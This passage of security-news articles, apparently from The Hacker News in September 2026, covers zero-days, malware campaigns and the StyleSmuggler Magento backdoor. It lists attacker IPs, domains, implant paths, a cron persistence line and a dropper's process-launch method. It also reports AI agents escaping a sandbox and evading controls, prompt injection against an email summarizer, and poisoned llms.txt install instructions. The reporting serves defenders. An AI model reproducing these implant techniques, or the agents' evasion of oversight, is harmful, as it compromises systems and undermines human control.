CVE.org. Security researcher Salvatore Gulizia (aka Serotav) has been credited with discovering and reporting the flaw on August 4, 2026. As is usual in these cases, Google acknowledged that an "exploit for CVE-2026-85046 exists in the wild," but did not reveal any details about the nature of the attacks or who is behind them. With the latest development, Google has addressed a total of six actively exploited Chrome zero-days since the start of the year. MikroTik RouterOS Flaws Exploited — The CERT Polska Team warned that bad actors are actively exploiting two zero-day flaws in MikroTik RouterOS that could be combined to take full control of the device without authentication if the device supports remote access using the SSH protocol. The exploit chain has been codenamed MikroTrick. A total of fix flaws (CVE-2026-67276, CVE-2026-67277, CVE-2026-67278, CVE-2026-67279, CVE-2026-67281, and CVE-2026-86060) have been identified. The MikroTrick chain involves CVE-2026-67276 and CVE-2026-86060 (CVSS scores: 9.2), which can allow an attacker to bypass authentication and elevate their privileges. The issues have been fixed in versions 6.49.21 (Long-term), 7.23.4 (Long-term), and 7.24.2 (Stable). "The successful attacks observed so far, including the creation of the 'ops' account, originated from the IP address 82.192.72.4 and have been occurring since at least 2 September," CERT Polska said. "In addition, the IP address 103.102.31.18 was used in attempts to exploit the described chain." Unpatched Magento and Adobe Commerce 0-Day Exploited to Backdoor Online Stores — E-commerce storefronts are being compromised to inject a backdoor by exploiting an unpatched Magento and Adobe Commerce zero-day dubbed StyleSmuggler, which gives unauthenticated attackers remote code execution. The attacks commenced on September 4, 2026. "StyleSmuggler injects malicious code into Magento's template system," Sansec said. "By using the styles properties, it can evade existing safeguards. It works in two stages: (1) Inject (poison) PHP code, for example by generating a failure report, and (2) Let Magento execute the poisoned code via a failed payment email." The backdoor is a Rust program that connects to the "99.84.67[.]186" C2 server and waits for further instructions. There are currently no indications that the backdoor has been weaponized. There are two different variants named fc-cache and chronyd. A separate attack cluster has been found to leverage the same weakness to drop a PHP web shell into the product image cache. RevStealer Spreads via Game Cheats and Fake Claude Desktop App — Elastic and Morphisec disclosed details of RevStealer (aka REF2859), a Windows information stealer that comes with an embedded sandbox scoring system and Polygon blockchain-based dead drop for resilience, a technique also called EtherHiding. "Beyond credential theft, REVSTEALER targets gaming platforms for additional monetization; the developer clearly understands that victim accounts on these platforms hold real monetary value in resale markets," Elastic said. The malware is distributed via social engineering attacks, using YouTube videos claiming to advertise hacks for the Albion Online game or rogue GitHub repositories for Anthropic's Claude Opus 5 Free Desktop project. Once installed, the stealer can receive additional executable content through C2 tasks, including additional executable content through (for wallet-file and browser-extension theft, phishing overlays, password-aware input capture, and payload delivery), WinUpdate (for cryptocurrency-address replacement and mnemonic-shaped clipboard theft), SoftManager (for reverse SOCKS5 proxy and backconnect access over an encrypted WebSocket protocol), and LockAppHost (for XMRig deployment, competitor suspension, and persistence). OpenAI Agents Keep Going Rogue — OpenAI is once again in hot water after a swarm of agents self-identifying as from the AI startup hijacked a German website as early as May and used it as a bulletin board for other AI agents. The agent swarm is said to have taken over the obscure German-language wiki in May and June to make around 18,000 posts, relying on it to coordinate on evaluations and swap methods to evade OpenAI’s own controls. The revelations come days after OpenAI published its own detailed account of July's Hugging Face breach in which another swarm of OpenAI agents worked together to escape their sandbox during a cybersecurity evaluation and break into Hugging Face's servers. A subsequent cluster used similar techniques to break into OpenAI's own infrastructure. In response to the wiki incident, OpenAI said it is working on a framework for reporting misalignment incidents during training, evaluation, and deployment. ️🔥 Trending CVEs Bugs drop weekly, and the gap between a patch and an exploit is shrinking fast. These are the heavy hitters for the week: high-severity, widely used, or already being poked at in the wild. Check the list, patch what you have, and hit the ones marked urgent first — CVE-2026-78174, CVE-2026-19313, CVE-2026-19318, CVE-2026-19315, CVE-2026-57910, CVE-2026-57909, CVE-2026-13086 (WatchGuard), CVE-2026-80047 (Hugging Face Transformers), CVE-2026-9585, CVE-2026-9586, CVE-2026-9587, CVE-2026-9588 (Sangoma Switchvox SMB), CVE-2026-6881 (Ellucian Advance Web and Legacy Advance), CVE-2026-13381, CVE-2026-13380 (VSee Clinic), CVE-2026-63219, CVE-2026-58400 (GeoNetwork), CVE-2026-9637, CVE-2026-9621, CVE-2026-9622, CVE-2026-9624, CVE-2026-9625, CVE-2026-19471, CVE-2026-19472, CVE-2026-12663, CVE-2026-9633, CVE-2026-9634, CVE-2026-16675, CVE-2025-12768, CVE-2026-84235 (Rockwell Automation), CVE-2026-84115 (Cleo Harmony), CVE-2026-84117, CVE-2026-84118, CVE-2026-84119, CVE-2026-84120, CVE-2026-84121, CVE-2026-84122, CVE-2026-84123, CVE-2026-84124, CVE-2026-84125, CVE-2026-84126 (Mozilla Firefox), CVE-2026-84353, CVE-2026-84352, CVE-2026-85046 (Google Chrome), CVE-2026-19949 (All-in-One WP Migration and Backup), CVE-2026-20277, CVE-2026-20278, CVE-2026-20280, CVE-2026-20279, CVE-2026-20276, CVE-2026-20275, CVE-2026-20274, CVE-2026-20212 (Cisco), CVE-2026-15630 (Casdoor), CVE-2026-73749 (Hewlett Packard Enterprise ArubaOS-CX), CVE-2026-67394 (Plesk), CVE-2026-38577 (Tenda), CVE-2026-6471 aka PostGREShell (PostgreSQL), CVE-2026-42038 (Axios), CVE-2026-64532, CVE-2026-64533 (Linux Kernel), CVE-2026-58048 (cPanel and WHM), CVE-2026-14540 (Google mcp-toolbox), CVE-2026-84645, CVE-2026-84647, CVE-2026-84648, CVE-2026-84649, CVE-2026-84650, CVE-2026-84652, CVE-2026-84665, CVE-2026-84667, CVE-2026-84668, CVE-2026-84669, CVE-2026-84670, CVE-2026-84671, CVE-2026-84672, CVE-2026-84673 (Jenkins), GHSA-x7v6-xfx3-52j6, GHSA-r7jx-j9h7-j4xj, GHSA-9jcm-x588-gh26, GHSA-6mpx-c8rj-whj5, GHSA-q65v-4w7q-hx3r (FreeRDP), CVE-2026-59346, CVE-2026-59347 (Broadcom VMware Workstation and Fusion), CVE-2026-67276, CVE-2026-67277, CVE-2026-67278, CVE-2026-67279, CVE-2026-67281, CVE-2026-86060 (MikroTik RouterOS), CVE-2026-13181, CVE-2026-13182, CVE-2026-13183, CVE-2026-13184, CVE-2026-13185, CVE-2026-13186, CVE-2026-13190 (Telerik UI for ASP.NET AJAX), CVE-2026-86218, CVE-2026-86206, and CVE-2026-86207 (N-able N-central). 🎥 Cybersecurity Webinars A New Vulnerability Drops. Learn How to Find Out ”If You’re Exposed” Faster → Your security tools have the data. Getting an answer shouldn’t take days. See how Tines brings software, cloud, application, and vulnerability data into one dashboard—and learn how to give your team a faster, clearer view of what’s at risk. Find Which Vulnerabilities Attackers Can Actually Exploit—in Hours, Not Weeks → A vulnerability alert doesn’t tell you whether an attacker can break in. Learn how to test exploitability with real-world attack simulations, identify the gaps that matter, and focus remediation on proven risks—not just severity scores. 📰 Around the Cyber World New Knight Office Microsoft 365 AitM Phishing Kit — A new adversary-in-the-middle (AiTM) phishing toolkit called Knight Office has been spotted in the wild using Docusign-themed lures to direct victims to fake landing pages for AitM token theft and device code phishing attacks, joining the likes of EvilTokens and Kali365. The email "led the victim through a number of redirects (including a redirect via the Monday work management platform and a compromised Joomla website)," Huntress said. "The victim landed on a phishing page, where their valid session tokens were captured and fed to the Knight Office console. Session tokens allow attackers to access victim accounts as if they were logged in, without needing an actual password or a way to bypass multi-factor authentication (MFA)." At least nine total phishing attacks on identities have been linked to this kit over the past two weeks. The Blind Spot in SNMPv3 — SNMPv3 — the protocol widely regarded as the secure standard for managing routers, switches, and firewalls — leaks pre-authentication signals that can allow an unauthenticated remote actor to identify a device’s vendor, confirm valid usernames, and narrow its likely encryption settings before testing a single credential. Validated across approximately 470,000 internet-exposed endpoints, the findings show how these standards-compliant behaviors can collapse a multi-dimensional brute-force problem into a focused password-guessing exercise. "SNMPv3 was the industry's answer to insecure network management, and upgrading to it — as the CISA advisory urges — is necessary," said Kobi Ben-Naim, Co-Founder and CEO of Malanta. "But that answer is incomplete. The protocol does exactly what it was designed to do, and that design hands attackers a roadmap: even properly upgraded deployments, when exposed, leak enough through pre-authentication responses to help an attacker narrow their way in before a single credential is tested. The threat doesn't end with the upgrade." U.S. Announces Reward for Senior Iranian Official — A $10 million reward has been posted by the U.S. State Department for information on the whereabouts of senior Iranian official Amir Yaryab. Yaryab allegedly leads the Islamic Revolutionary Guard Corps' (IRGC) Cyber-Electronic Command (CEC). "Yaryab also oversees and controls operations conducted by IRGC-CEC-affiliated groups such as CyberAv3ngers, Dadeh Afzar Arman (DAA), and Mehrsam Andisheh Saz Nik (MASN). These malicious cyber groups have used malware to target civilian infrastructure worldwide," the State Department said. Attack on Coder — Attackers compromised Coder's Cloudflare infrastructure and added unauthorized registry servers that delivered malicious Terraform modules containing credential-stealing code to harvest environment variables, API keys, CI/CD credentials, configuration secrets, terminal history, OIDC tokens, SSH keys, external authentication tokens, and Coder database passwords. The data was then exfiltrated to the lookalike domain "coder-infra[.]com." "An unidentified malicious actor gained access to Coder’s Cloudflare infrastructure and added unauthorized IP addresses to the pool used for Coder’s module registry," Coder said. "These unauthorized IP addresses hosted a version of Coder's registry that contained artifacts which included malicious code." Users are advised to look for connections to the malicious domains before applying the latest patches (versions 2.37.0, 2.36.4, 2.35.7, and 2.34.9) U.S.-U.K. Team Up to Shut Down Scam Centers — The U.S. and the U.K. signed a Memorandum of Understanding (MoU) to work together on an initiative to shut down scam centers stealing billions of dollars through investment and romance fraud schemes. "Under the terms of the MOU, each will conduct parallel investigations into common targets, share information on targeting of organized crime syndicates, discuss which jurisdictions to bring specific cases of common interest, and generally prioritize cases on this threat to achieve mutual results," the U.S. Justice Department said. Tampered Exodus Installer Delivers Modular RAT — Victims are being tricked into running a fake PDF document or a software update that leads to the execution of an MSI installer that declares itself a "Background Service" by Apple. "The 'Background Service' installs a genuine Exodus 24.33.4 cryptocurrency wallet, missing one key function: any way for the user to interact with it," Huntress said. "Only 3 of its 1,973 files differ from the real thing. One of those three files stops the wallet from ever drawing a window. Another turns a legitimate Exodus source file into a PE loader that decrypts a 10 MB payload and maps it into memory by hand, where it never touches disk. That payload is the RAT: a hidden VNC and SOCKS proxy that enable remote access and browser credential theft. While the RAT stealthily beacons to Azure Table Storage rather than a domain of its own, it returns every hour through a scheduled task, leaving behind detectable artifacts." QR Phishing With No Image — In a new phishing attack detailed by Kaspersky, threat actors are building a QR code out of text characters and markup directly in the email body as opposed to rendering an image. "There is no attachment to open, no embedded picture to decode, and nothing for an image-based or optical-character-recognition (OCR) scanner to key off," PhishU said. "Because it is markup and not a remote image, an inbox with images turned off still paints it. The message shows a perfectly scannable QR to the human reading it, image-blocking and all." Apple Hit With $2.7 Billion Lawsuit Over App Tracking Rules — Apple is facing a £2 billion ($2.7 billion) lawsuit in the U.K. accusing it of imposing stricter App Tracking Transparency rules on third-party developers than on its own advertising services, thereby giving its ecosystem a competitive advantage, according to Reuters. Apple's App Tracking Transparency feature has been the subject of extensive investigations across Europe. Last month, Apple agreed to make changes to the feature across almost all European Union countries following a probe in Germany. Attackers Routinely Target Edge Devices — A joint analysis from SentinelOne and Tenable found that both nation-state and criminal threat actors are focusing on vendors and susceptible points in the attack surface more than specific CVEs. "Both state-sponsored actors and cybercriminals independently converge on the same edge infrastructure," the companies said. "The exposure picture is flatter than the headlines suggest: Fortinet, the vendor most associated with edge-device attacks in the press, sits mid-pack on container-grain exposure (25%) — well behind F5 (54%) and in a tight 10-point band with Check Point, Ivanti, and Citrix. 54% of customer environments running F5 products have at least one exposed, actively-exploited CVE; Citrix customers show the slowest remediation patterns at 461 days median time to patch." The disclosure comes as current attacker timelines are compressing and moving faster than standard patch cycles can address, driven by frontier AI models that narrow the window between vulnerability discovery and exploitation. The Threat of Indirect Prompt Injection — New research from Forcepoint revealed that an email summarizer running an unguarded LLM pipeline can be manipulated through indirect prompt injection (i.e., hidden instructions in an email) to silently hijack summarizer output and generate false and potentially dangerous summaries without signaling tampering to the recipient. It's the latest example of how attackers can use indirect prompt injections to undermine AI systems and get them to behave in unintended ways when processing external content. It's also a reminder of AI's fundamental limitations. Large language models (LLMs) cannot distinguish between authentic user instructions entered directly into a prompt and content they find on untrusted third-party sources, leading to prompt injections. "A regular Outlook email composer does strip styling that hides elements on copy/paste and does not provide any way to hide text other than white text on white background," Forcepoint said. "The hidden styling was not stripped when sent programmatically, or when the message is received and displayed. Hidden HTML tags like these have been commonly used by attackers to circumvent careful reading by victims." Conclusion Trusted sources and safer settings still have limits. This week’s attacks show why it matters to know exactly what each protection covers—and what it leaves exposed. Keep patching, but keep the logs needed to investigate, too. “Fully patched” tells you which fixes are installed. It doesn’t prove nobody got in.
thehackernews.comSep 7, 2026extracted
Unpatched Magento and Adobe Commerce Zero-Day Exploited to Backdoor Online Stores
Attackers are exploiting a new unpatched vulnerability in Magento Open Source and Adobe Commerce that lets them run malicious code on an online store's server without logging in, Dutch e-commerce security company Sansec said in an advisory published on September 5. Sansec, which discovered the flaw and named it StyleSmuggler, said attacks started on September 4. "Sansec is publishing early because stores are being compromised right now," the company said. As of September 6, Adobe has not published an advisory, a CVE identifier, a patch, or a workaround, and its Adobe Commerce security bulletin index lists nothing after the August 11 update. A successful attack gives the attacker code execution on the store's server and installs a persistent backdoor. Sansec said all current versions are affected, including 2.4.9, and that it reproduced the full unauthenticated chain on clean Magento Open Source installations of 2.4.7, 2.4.8, and 2.4.9. Its first victim ran 2.4.6-p15 with Adobe's July and August 2026 security updates applied, which is the latest patch level Adobe offers for that release line and one that Adobe's August bulletin labels 2.4.6-2026-aug. Sansec has not published a reproduction on Adobe Commerce or on Adobe Commerce on Cloud, and Adobe has not confirmed which versions are affected. Sansec has not said how many stores have been compromised. The researchers' interim advice for stores not running its Shield product is to temporarily disable GraphQL until Adobe releases a fix. Disrex Group, a Magento hosting and development company that hosts and responded to two of the compromised stores, notes that headless and progressive web app storefronts require GraphQL, whereas most classic and Hyvä storefronts do not. Adobe's next scheduled security release is on September 8, Sansec said, and it is not yet known whether that release will cover this bug. Disrex's findings are independent evidence of exploitation from outside Sansec. In an incident-response repository published on September 5, the company said it handled two compromised stores and a third that was attacked but not breached, and that its web-server rules are based on attack traffic captured on one of the compromised stores. In answers to questions from The Hacker News, Disrex said both stores ran Magento Open Source rather than Adobe Commerce, and that it hosts them itself through its hosting brand RexHosting. The store Disrex labels Store A ran Magento Open Source 2.4.8 and was a Sansec Shield customer, with the module installed, enabled, and licensed. It was hit at 23:10 UTC on September 4, hours before Sansec's first blocking rules for this flaw went live, and Disrex said Shield was active and blocking other malicious traffic against the store at the time. Store B, which was not a Shield customer, ran Magento 2.4.7-p2, a security patch level that Adobe's version history dates to August 2024, eight levels behind the current 2.4.7-p10. It was first hit at 00:55 UTC on September 5, Disrex said, and it is the store from which the company's web-server rules and its reading of the vulnerable code were taken. Both stores were breached inside the roughly eight-hour window between the first exploitation Sansec observed and the moment any defence for it existed, Disrex said. "Patch status was irrelevant here, which is the part merchants most need to hear," the company told The Hacker News. The repository carries its own warning. "This repository was written with AI assistance, during a live incident, in a few hours," its README says, adding that it has not been reviewed, that its Apache rules were never run against a live Apache server, and that most of its cleanup commands were written rather than executed. Sansec's indicators describe the implant as a background process disguised under [kworker/u:8:0], a name that belongs to a Linux kernel thread, with a binary installed at ~/.local/share/.gvfsd/gvfsd-user under the site user's home directory rather than the web root, and a cron entry that restarts it every five minutes. Disrex described the binary as a stripped, statically linked Rust program of roughly 1.9 MB built for x86-64 and arm64, and said the cron entry is written straight to the spool file under /var/spool/cron/crontabs/, so the system log shows no crontab replacement. One store carried the same line 1,728 times, and the implant re-added it within a second of removal. On one of the two stores, the implant made no outbound connection at all. It held 28 connections to the store's own Redis instance on port 6379 and read Magento's session storage from it, Disrex said, and neither of its two packet captures, each over 200 MB and taken while the implant was live, contained a single packet to the download host or the command-and-control address that Sansec listed. Disrex told The Hacker News that each store ran in its own isolated account with a single site owner, no sudo rights, and no path to any other customer, that the implant ran as the unprivileged site user and could reach nothing beyond that store, and that it confirmed no lateral movement and no other affected site on its platform. Both stores were contained the same day, roughly eleven and fourteen hours after first contact, the company said, and it found no evidence of data exfiltration, no rogue admin accounts, no injected payment skimmer, and no database backdoor. All sessions were invalidated, and credential rotation is underway as a precaution. Because it runs a number of Magento stores on its own platform and found the first compromise quickly, Disrex said, it swept its whole estate within the hour and found the second store the same afternoon. The company has also published an incident write-up. Sansec said that for Shield customers attacked before its rules went live, it has no indication that the backdoor was actually used, and recommended rotating Magento credentials wherever the process has been identified. The attack works in two stages, according to Sansec's outline. It first plants PHP code in a file that Magento itself writes, for example, when generating a failure report. Then it makes Magento execute that file by triggering the platform's standard "Payment Transaction Failed Reminder" email. The code runs while Magento renders the message, so no one has to open it, and the attack can succeed even if email delivery fails. Sansec has not yet published the full exploit chain and said a breakdown of the chain, the dropper, and the implant will follow in an update. Disrex's reading of the chain, published in a mechanism write-up alongside its rules, is that a directive within the injected text drives a sequence of Magento's own classes into code that exists solely to serve the command-line dependency-injection compiler. That code ends by including a file path the attacker chose: the log poisoned a moment earlier. The executed PHP dropper attempts six PHP functions in turn to start a process, then downloads and launches the implant. Disrex names three files under setup/src/Magento/Setup/Module/Di/Code/ as the point where the chain ends, and told The Hacker News it identified that sink on its own by reading Magento source on the compromised store. Sansec has not confirmed that reading, and Disrex does not publish the assembled request. Two locations matter for the first stage. Sansec's published check searches var/report/ for the marker X_TRACE_. Disrex said both of its infections were poisoned through var/log/system.log instead and would have been missed by that check, so both directories need searching. The marker has already drifted: Disrex saw a trigger header of the form X-TRACE- followed by ten hex characters on the morning of September 5 and the same header without the word TRACE by the afternoon, so a search should match the shape rather than the exact string. A TypeError from array_merge() with an integer argument in system.log, immediately after the include, is evidence that the exploit succeeded, Disrex said. However, a stealthier variant returns an empty array and leaves nothing in the log. For the process, Disrex said that a genuine kernel thread is owned by root and has no resident memory, so a bracketed name on the site user with real memory usage is the implant. The implant sets its command line to the literal bracketed string, so a check written against the process's comm field matches nothing. Disrex also found that the binary running in memory on one store was a different build from the file on disk, and advises hashing the running process from /proc/ /exe as well as the file. Unexpected bursts of "Payment Transaction Failed Reminder" emails are a reason to investigate, Sansec said, although legitimate declined payments generate the same notification. One of Disrex's two compromises was surfaced by exactly that email. Rick Bouma, Disrex's co-founder, told The Hacker News that the store emailed its own owner a failed-transaction notice in which the template variables were never resolved: a body full of raw {{var ...}} tags, a customer address on a .invalid domain, and a total of zero. It reads like a broken order, Bouma said, but it is exhaust from the exploitation attempt passing through Magento's template filter, and the merchant's forward of that email started the investigation that found the implant within the hour. Disrex has published an anonymised copy in an early-warning write-up, which adds Magento's own "an error occurred generating this content" fallback text appearing inside the address block as a third tell, and calls the email the single most useful early-warning sign for merchants because noticing it needs no tooling. The following indicators have been published by Sansec and in Disrex's indicator list - Process: [kworker/u:8:0] owned by a non-root user File: ~/.local/share/.gvfsd/gvfsd-user File: ~/.local/share/.gvfsd/.gvfsd_ .lock File: /tmp/.gvfsd_ .lock File: /tmp/.kw_ Cron: */5 * * * * exec /.local/share/.gvfsd/gvfsd-user , with a variant pointing at/tmp/.kw_ SHA-256: e315687a1dfe61ef4a5a5642214db6d3b2b05d81391285eebc2af664641a26a7 (Sansec's sample) SHA-256: 8334b434fa3fe9f59cebe9609b11e0b1fd19d10212c45c705adec1902a1d06ef (on disk on both Disrex stores) SHA-256: 251fabd50d7b18a8b5e1b3ef5d64e7198c17244778f6461fb1ab07f6169bf220 (running in memory on one Disrex store) Domain: 247.cdnflare[.]xyz (malware download host) IP: 99.84.67[.]186:443 (command-and-control over WebSocket and TLS, per Sansec) IP: 88.216.72[.]181 (attacker source, per Sansec) IP: 5.181.86[.]133 (attacker source sending in bulk, per Disrex) Sansec recommends its eComscan scanner to detect the implant, and said version 1.9.7 will terminate the process for Shield customers. Disrex reported a clean result on Store A. eComscan ran there at 10:00 UTC on September 5, roughly eleven hours after the implant first ran and while 1,728 cron lines were present, and reported the store clean. The cause was scope rather than a scanner fault, Disrex told The Hacker News: the scheduled scan was pointed at the store's document root, and the implant had installed one directory above it, under the account's home directory. Disrex has since widened the scan path and said it would confirm the eComscan build number separately. There is no vendor fix to install. Until Adobe ships one, the options are Sansec's temporary GraphQL shutdown; unofficial mitigations published by Disrex, ProxiBlue, and Graycore; and two server settings that do not depend on the flaw. Disrex published nginx and Apache rules that block requests carrying the exploit's parameters in the URL query string. Its own test on a live store showed the limit: the same parameters sent in a POST body reached PHP, as did a JSON body, because nginx and Apache inspect only the query string, Disrex said. Disrex describes the rules as stopping the campaign as it currently runs rather than the vulnerability. Disrex's main mitigation adds a check to three methods in Magento's dependency-injection code scanners, preventing them from running outside the command line. The hand edit is reverted by every composer install, so Disrex also ships it as a composer-patches source patch that reapplies on deploy and, it says, applies unchanged from 2.4.6 through 2.4.9. One of the three files, ClassesScanner.php, is called over HTTP by at least one third-party module, mageplaza/module-admin-permissions, and guarding it breaks that module's admin screen, so Disrex tells administrators to search their vendor directory before touching it. The guard was tested on a harness rather than inside a running store, and Disrex says it is not a complete fix on its own. A GitHub user, ProxiBlue, separately published the same guard on September 5 as three unofficial patches. Bouma told The Hacker News that ProxiBlue, whom he identifies as Magento developer Lucas van Staden, arrived at the identical guard without coordination, on the same three scanner methods, with the same PHP_SAPI !== 'cli' check and the same exception message, and that Disrex's own version was written during its response. Disrex has since reproduced ProxiBlue's three patches in its repository with credit so the convergence can be checked in one place, and warns that the two are the same fix and must not be applied on top of each other. Disrex regards two parties reaching the same fix separately as strong corroboration that it is the right one. Neither Sansec nor Adobe has confirmed that these scanners are where the chain ends. Graycore, LLC published a Magento module on GitHub and Packagist on September 5 whose current code, Graycore says, hardens three points on the chain: the email template block directive refuses backend blocks, the grid row URL generator checks a class before building it, and PHP opening tags in Web API fatal error reports are broken. The version on Packagist at the time of writing was an earlier release whose only mitigation targeted a PayPal GraphQL resolver that has since been removed. The README says "That is hardening, not a fix" and warns that other paths through the vulnerability remain open and that a store may already be compromised. Two server settings do not depend on knowing the chain at all, Disrex said. At one of its two stores, the first four of the six PHP functions the dropper tried were disabled; proc_open was not, and the dropper used it to start the implant, with open_basedir doing nothing to contain the child process. Adding proc_open to PHP's disable_functions, and mounting /tmp, /var/tmp and /dev/shm with noexec so a downloaded binary cannot run, are the layers Disrex puts ahead of every rule in its repository. For a store that is already infected, Disrex's cleanup guide sets the order: preserve evidence first, remove the cron entry before killing the process because the process restores it, do not reboot because the copy under /proc may be the only remaining binary, and do not run composer install to clean up because it overwrites the timestamps that show what was touched. It then recommends flushing session storage since the implant read it, and rotating the crypt/key in app/etc/env.php, as well as every admin password, every payment provider API key, and every other integration credential in that file. Hosting providers Nexcess and Liquid Web posted identical incident notices on September 5, stating they were reviewing their server environments and implementing precautionary measures. Neither claims a confirmed customer compromise or its own reproduction of the flaw. Disrex recorded 26 distinct source addresses across its two stores, taken from the stores' own nginx access logs and deduplicated, two of them hosting infrastructure sending in bulk and the rest a residential proxy pool sending two to six requests each, and said that blocking the single attacker address in Sansec's advisory would have stopped less than a quarter of the traffic it saw. An earlier count of 28 included two of Disrex's own servers making verification requests during the response, which it removed. No source has named the attackers. The Hacker News has reached out to Adobe, Sansec, and Graycore for comment, and will update the story if we hear back. (The story was updated after publication with responses from Disrex Group's Rick Bouma, who corrected the versions, Shield status, and first-contact times of the two compromised stores, explained the eComscan miss, described the early-warning email that surfaced one of the compromises, and confirmed that ProxiBlue's patches, now included in the Disrex repository, were arrived at independently.)
thehackernews.comSep 5, 2026extracted
ThreatsDay: CEO Phishing Kits, 5K Dropbox Account Hacks, OAuth Traps + 17 More Stories
The worst part is how normal these attacks look. A call from IT. A shared file. A trusted app. A simple request to click “Allow.” Why break in when someone might open the door? That idea runs through this edition. Attackers use real tools, fake login pages, old account links, and software guides that point to unsafe downloads. One wrong letter in a web address can be enough. There is also ransomware, stolen ID data, hidden attack servers, and weak settings that should have been fixed long ago. Here’s the full list. The threats change every week. Subscribe, and we’ll alert you when each new ThreatsDay Bulletin is out. Fake IT, Real AccessMicrosoft has warned of a human-operated intrusion campaign that leverages Microsoft Teams external collaboration to impersonate IT or help desk personnel and socially engineer users into granting an interactive remote session. "Once remote control is established via RMM tools, the threat actor uses PowerShell to download and silently install a malicious MSI package, which in turn stages a portable Node.js runtime and an obfuscated JavaScript implant that provides persistent command execution and command and control (C2)," the tech giant said. "After the implant is deployed, the threat actor performs extensive host and Active Directory reconnaissance, periodically captures screenshots of the victim's desktop, executes follow-on payloads through trusted Windows binaries, and pivots across the enterprise over Windows Remote Management (WinRM) toward high-value assets such as domain controllers." Microsoft has described the "intrusion pattern" as high-impact as it grants an external operator interactive access to internal infrastructure. Teams Vishing at ScaleIn more Teams-related abuse, a coordinated social engineering operation dubbed Spring Ring has been observed leveraging external Microsoft Teams accounts to masquerade as IT help desk personnel to target more than 150 employees across at least 10 companies in various industries between January and April 2026. "What seems like a benign chat is in fact a voice phishing (vishing) call, during which adversaries try to coerce victims into executing remote monitoring and management (RMM) tools or custom malware," Palo Alto Networks Unit 42 said. "In a more advanced variant, attackers transitioned from a vishing call to a full-blown Microsoft NT LAN Manager (NTLM) relay attack aimed at an organization's domain controller (DC)." As many as 26 distinct attacker identities have been identified behind the chat and call attempts. Ransomware Affiliate PlaybookIn a new report, Sophos revealed that The Gentlemen ransomware operation, which it tracks as Gold Sherwood, has claimed a total of 683 victims by the end of July 2026. In July alone, the group is said to have added 169 victims. "The Gentlemen ransomware intrusions [...] demonstrate a repeatable affiliate playbook that combines opportunistic initial access, rapid privilege escalation, legitimate remote access mechanisms, tool staging in trusted system paths, targeted data exfiltration, aggressive defense evasion, backup disruption, and ransomware deployment," Sophos said. "Affiliates are operationally flexible: they use native Windows utilities, commercial and open-source tools, BYOVD-based EDR killers, and backup service tampering to adapt to victims’ environments and maximize impact before encryption." PhaaS Survives TakedownThe Outsider phishing-as-a-service (PaaS) platform has continued to be a resilient threat in the face of law enforcement action that took down a number of domains related to the service. The kit is operated by a threat actor known as "ChenLun." Group-IB said it has identified over 700 new phishing pages created using the kit within a month after Google filed a civil lawsuit against its operators, indicating that affiliates are continuing to use the service. The campaigns are delivered via SMS. "What was once a technically demanding operation has been reduced to a subscription and a Telegram channel," Group-IB said. "The phishing kits are distributed via a dedicated Telegram ecosystem. Operators used a WebSocket connection for live keylogging and to manipulate MFA challenges." Signed Software, Hidden PayloadA government-themed tax notice campaign is targeting recipients through U.A.E.- and India-themed tax assessment lures to persuade them to open a malicious disc image. "The disc image contains a legitimate, validly signed commercial executable alongside a hidden, unsigned malicious DLL," iZOOlogic said. "This makes abuse of software trust and DLL sideloading the central mechanism of the campaign. The malicious DLL acts as a loader and establishes multiple execution and persistence mechanisms. The loader contains three encrypted payloads. Two decrypt to legitimately signed kernel drivers from unrelated commercial products, while the third is a persistence script." The attack chain paves the way for a Registry-resident second stage, which connects to an external server over UDP. Executive Phishing as a ServiceZeroBEC has disclosed details of a turnkey phishing service called BlueKit that's being used to target CEOs of financial-industry groups to facilitate credential theft using a browser-in-the-middle (BitM) infrastructure. The campaign uses document-sharing lures to trigger the attack chain and employs ZeroBot to screen bots. "The campaign did not stop at credential or session theft," ZeroBEC said. "After a BlueKit browser-in-the-middle flow, selected victims were moved into a fake document-viewer workflow that delivered a legitimate ScreenConnect client configured for an attacker-used ScreenConnect cloud instance." The service advertises access at $250 for seven days, $480 for 14 days, and $940 for 30 days, placing it at the higher end of the current PhaaS market, in comparison to Tycoon 2FA, Greatness, and Forg365, which cost approximately $350, $289, and $400 per month. Dormant Domains, Ready C2Cybersecurity researchers have analyzed the infrastructure powering the operations of Prince of Persia (aka Indy), a little-known Iranian hacking group known for deploying malware families, Foudre and Tonnerre, to profile victims and harvest sensitive data from high-value targets. According to Whisper Security's Kaveh Azarhoosh, the backend is self-authoritative, with each live C2 server also running the nameservers for its own domains. Also identified is a dormant reserve of 58 domains that are registered and delegated to the group's own nameservers, but none of which currently points at any server. "They're staged, not live: the moment any one of them gains an address record, a new command server has gone live — and it's visible before the server does anything at all," Azarhoosh told The Hacker News via email. Remote-Controlled Rubber DuckyIntezer has detailed a fake "privacy browser" downloaded from a counterfeit site ("www.mxsetuplogi.com") that turns remote attacker commands into simulated mouse and keyboard input on a victim's machine. The site is surfaced via a sponsored search result on Google, in this case after the victim mistyped the domain name ("www.mxsetup.logi.con") on the address bar. The cybersecurity company described it as a USB Rubber Ducky attack delivered over the internet. "This attack evades EDR and sits at zero to two detections on VirusTotal," it said in a statement. "The infection began with one simple mistyped letter during routine mouse setup that routed the victim through a malvertising network into an MSIX installer signed through Microsoft's own infrastructure." The campaign has been tracked back to a similar operation from January 2016, indicating that the activity has been active for at least a decade. 153 Million IDs for SaleThe U.S. Federal Bureau of Investigation (FBI) is investigating a new ID theft service called Nexus, which claims to have digital scans of over 153 million driver's licenses from people in the U.S. and Canada. According to independent security journalist Brian Krebs, the service is said to be siphoning images collected by a widely used identity verification company called IDScan.net based in Louisiana. The service, launched on the dark web on August 31, 2026, also boasts of more than 10 million identification cards, more than three million travel documents and/or international IDs, and at least 579,000 medical cards. Each record can be unlocked for $100. Shortly after the exposé was published, Nexus went offline. IDscan.net is said to be investigating the incident on its end. AI Instructions Become a TrapA scan of 6,214 live domains belonging to defense contractors, Fortune 500, and Big Tech companies has uncovered llms.txt or llms-full.txt that are being placed at the root of their websites, alongside robots.txt. "The file is not a sitemap and it is not a disclaimer," an Israeli stealth startup said. "It is a curated instruction set for AI agents: what to read, which APIs to call, which packages to install, which domains to trust. OpenAI, Anthropic, and Google publish their own." Of the 8,265 llms.txt and llms-full.txt files surfaced from the scan, 120 of them, each on a different site, featured install instructions pointing to PyPI or npm package names and domains that had never been registered. "We selected a small set of package names that appeared in the llms.txt files of companies you have definitely heard of, and registered them on PyPI and npm," Alon Hertz, one of the researchers, said. "Into each one we embedded a single phone-home — a minimal beacon that reported the fact of installation back to infrastructure we controlled. The first callback arrived in under four minutes." What's troubling here is that at least one active attack has already exploited 